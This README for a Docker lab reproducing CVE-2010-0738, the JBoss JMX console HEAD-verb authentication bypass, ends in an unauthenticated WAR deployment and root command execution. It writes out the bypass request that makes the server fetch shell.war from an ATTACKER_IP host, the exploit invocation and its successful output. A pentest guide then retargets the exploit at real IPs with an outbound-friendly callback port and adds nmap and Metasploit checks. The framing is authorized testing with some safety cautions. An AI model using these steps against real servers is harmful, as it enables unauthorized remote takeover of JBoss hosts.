CVE-2010-0738 — JBoss JMX Console Authentication Bypass + RCE
Overview
| Field | Value |
|---|---|
| CVE | CVE-2010-0738 |
| Software | Red Hat JBoss Enterprise Application Platform / JBoss AS |
| Version Tested | JBoss AS 6.1.0.Final (community; same vulnerability in EAP 4.2/4.3) |
| Vulnerable Range | JBoss EAP 4.2 < 4.2.0.CP09 ; JBoss EAP 4.3 < 4.3.0.CP08 ; JBoss AS 4.x/5.x/6.x with default jmx-console config |
| Type | Authentication Bypass → Remote Code Execution (RCE) |
| CVSS | 7.5 (CVSSv2) |
| Authentication | Not required |
| CWE | CWE-264 (Permissions, Privileges, and Access Controls) |
The jmx-console web application shipped with JBoss restricts access using a
Java Servlet security constraint, but only lists GET and POST as protected
HTTP methods. Per the Servlet specification, any HTTP verb not listed in the
<http-method> elements bypasses the constraint entirely. An unauthenticated
attacker can send a HEAD request to reach the GET handler of the JMX console,
invoke the MainDeployer MBean to deploy a remote WAR file, and achieve
unauthenticated remote code execution.
Quick Start
bash verify.sh
This builds the vulnerable environment, starts JBoss, deploys a malicious WAR
via a HEAD request (no credentials), executes id, and prints the output.
Zero manual steps required.
Environment
- Image:
vulhub/jboss:as-6.1.0(base) with custom vulnerableweb.xml - JBoss Port:
8080→ HTTP (JBoss AS 6.1.0.Final) - Credentials (irrelevant):
admin/jboss— bypassed by the exploit - Setup time: ~60–90s for JBoss to fully start on first run
docker compose up -d # start
docker compose logs -f # watch startup logs
docker compose down # teardown
docker exec cve-2010-0738-victim cat /tmp/rce_proof.txt # read proof
Exploit
- File:
exploit/exploit.py - Language: Python 3
- Dependencies:
requests,urllib3(seeexploit/requirements.txt) - Source concept: jboss-autopwn (BlackHat EU 2010) / Metasploit jboss_maindeployer.rb
How It Works
Root cause — vulnerable web.xml:
<security-constraint>
<web-resource-collection>
<url-pattern>/*</url-pattern>
<http-method>GET</http-method> <!-- only GET... -->
<http-method>POST</http-method> <!-- ...and POST are protected -->
</web-resource-collection>
<auth-constraint>
<role-name>JBossAdmin</role-name>
</auth-constraint>
</security-constraint>
The Servlet 2.3–2.5 specification states: when <http-method> elements are
present, the security constraint applies only to the listed methods. Methods
not listed (HEAD, PUT, DELETE, TRACE, etc.) fall outside the constraint and are
permitted without authentication. The HEAD verb is processed by the same
servlet handler as GET but suppresses the response body.
Exploit steps:
- Probe —
GET /jmx-console/returns HTTP 401 (auth enforced for GET). - Auth bypass —
HEAD /jmx-console/returns HTTP 200 (auth bypassed!). - WAR deployment — The exploit starts an embedded HTTP server and sends:
JBoss downloads and deploysHEAD /jmx-console/HtmlAdaptor? action=invokeOpByName& name=jboss.system:service=MainDeployer& methodName=deploy& argType=java.lang.String& arg0=http://ATTACKER_IP:PORT/shell.warshell.warfrom the attacker's HTTP server. - RCE — The deployed
/shell/shell.jsp?cmd=idreturnsuid=0(root).
Why MainDeployer and not DeploymentFileRepository?
The jboss.admin:service=DeploymentFileRepository MBean exists in JBoss 4.x
and was used by the original worm / jboss-autopwn. In JBoss 6.x (used here for
better Docker availability), the equivalent is jboss.system:service=MainDeployer
with methodName=deploy and argType=java.lang.String. Both approaches exploit
the same HTTP verb bypass — only the deployment vector differs.
Manual Usage
# 1. Start environment
docker compose up -d
# 2. Wait for JBoss (~60-90s):
curl -s -o /dev/null -w "%{http_code}" http://localhost:8080/jmx-console/
# Returns 401 when ready
# 3. Install Python dependencies
pip install -r exploit/requirements.txt
# 4. Get the Docker bridge IP (needed so JBoss can reach your HTTP server)
LHOST=$(docker exec cve-2010-0738-victim ip route | grep default | awk '{print $3}')
# 5. Run exploit
python3 exploit/exploit.py --target http://localhost:8080 --lhost "$LHOST" --cmd "id"
Expected Output
=================================================================
CVE-2010-0738 — JBoss JMX Auth Bypass + RCE
HTTP Verb Manipulation → Unauthenticated WAR Deployment
=================================================================
[Phase 1] Probing http://127.0.0.1:8080
GET /jmx-console/ => HTTP 401 (auth enforced — good)
HEAD /jmx-console/ => HTTP 200 (HEAD bypasses auth — CVE-2010-0738 CONFIRMED)
[Phase 2] WAR server on 0.0.0.0:58401, URL: http://172.19.0.1:58401/shell.war
[Phase 3] Deploying WAR via HEAD request (no credentials)...
HEAD http://127.0.0.1:8080/jmx-console/HtmlAdaptor?action=invokeOpByName&...
[HTTP] Served shell.war to 172.19.0.2
HTTP 200 (auth bypassed)
[Phase 4] Waiting for JBoss to deploy the WAR (up to 30s)...
[1s] Shell deployed — HTTP 200
[Phase 5] Executing command: 'id && hostname && uname -a'
=================================================================
[+] EXPLOITATION SUCCESSFUL — STRONG RCE EVIDENCE
=================================================================
Target: http://127.0.0.1:8080
Command: id && hostname && uname -a
Output:
uid=0(root) gid=0(root) groups=0(root)
53e766a585f8
Linux 53e766a585f8 6.8.0-90-generic ...
=================================================================
Pentest Adaptation Guide
Target Discovery
Identify JBoss instances and confirm the vulnerability:
# Banner grab / service detection
nmap -sV -p 8080,8443,4848 <target>
# Nmap script (native CVE-2010-0738 detection)
nmap --script=http-vuln-cve2010-0738 \
--script-args 'http-vuln-cve2010-0738.paths={/jmx-console/}' \
-p 8080 <target>
# Manual: check if HEAD bypasses auth
curl -s -o /dev/null -w "%{http_code}" -X HEAD http://<target>:8080/jmx-console/
# 200 = vulnerable, 401 = patched or requires all-method auth
Adapting the Exploit
- Target: Replace
--target http://127.0.0.1:8080with the actual target URL. - LHOST: Replace
--lhostwith an IP that the target JBoss server can reach back to. This is your machine's IP or a pivot host — not localhost. - Port: If the target is behind a firewall, use a port allowed outbound
(e.g., 80, 443). Change
--lport PORTaccordingly. - HTTPS: If the JMX console is on HTTPS, change the target URL; the exploit
disables certificate verification by default (
verify=False). - Path: Some deployments use
/jmx-consoleunder a non-default context path. Inspect the server response to confirm the path.
# Example against a real authorized target
python3 exploit/exploit.py \
--target http://10.10.10.50:8080 \
--lhost 10.10.14.20 \
--lport 443 \
--cmd "id"
Safe Verification (non-destructive)
To confirm the vulnerability without deploying a WAR:
# Check auth bypass with HEAD (no side effects)
curl -v -X HEAD http://<target>:8080/jmx-console/HtmlAdaptor \
-H "Host: <target>"
# 200 OK = vulnerable; 401 = patched
# Use Metasploit's "check" command (no exploitation)
msfconsole -q -x "
use exploit/multi/http/jboss_maindeployer;
set RHOSTS <target>;
set RPORT 8080;
check;
exit
"
Prefer check over run when just confirming the vulnerability in production.
Evidence Collection
Capture the following for a pentest report:
- HTTP 200 on HEAD: Screenshot/capture showing
HEAD /jmx-console/returns 200 whileGET /jmx-console/returns 401. - Command output: The
idoutput showinguid=0(root)(or the service account). - Hostname:
hostnameconfirms which machine was exploited. - Timestamp: Note the exact time for log correlation.
- WAR URL in JBoss logs: The server log entry
INFO [MainDeployer] deploy, url=http://ATTACKER/shell.warfrom/jboss-6.1.0.Final/server/default/log/server.logprovides server-side proof.
What NOT to do in production:
- Do not deploy a reverse shell or Meterpreter payload (service disruption risk)
- Do not use
Runtime.execwithrm -rfor other destructive commands - Do not deploy multiple WARs — redeploy conflicts cause server errors
- Undeploy your test WAR after confirming the vulnerability
# Clean up: undeploy your test WAR after assessment
curl -u admin:PASS "http://<target>:8080/jmx-console/HtmlAdaptor?\
action=invokeOpByName&name=jboss.system:service=MainDeployer&\
methodName=undeploy&argType=java.lang.String&arg0=http://YOURIP/shell.war"
CVSS Context
| Metric | Value | Rationale |
|---|---|---|
| Attack Vector | Network | Exploitable over HTTP, no local access needed |
| Attack Complexity | Low | No special conditions required |
| Authentication | None | No credentials needed — auth bypassed by design |
| Confidentiality Impact | Partial | Can read files via shell |
| Integrity Impact | Partial | Can write files, deploy apps |
| Availability Impact | Partial | Can restart/crash JBoss |
| CVSSv2 Score | 7.5 |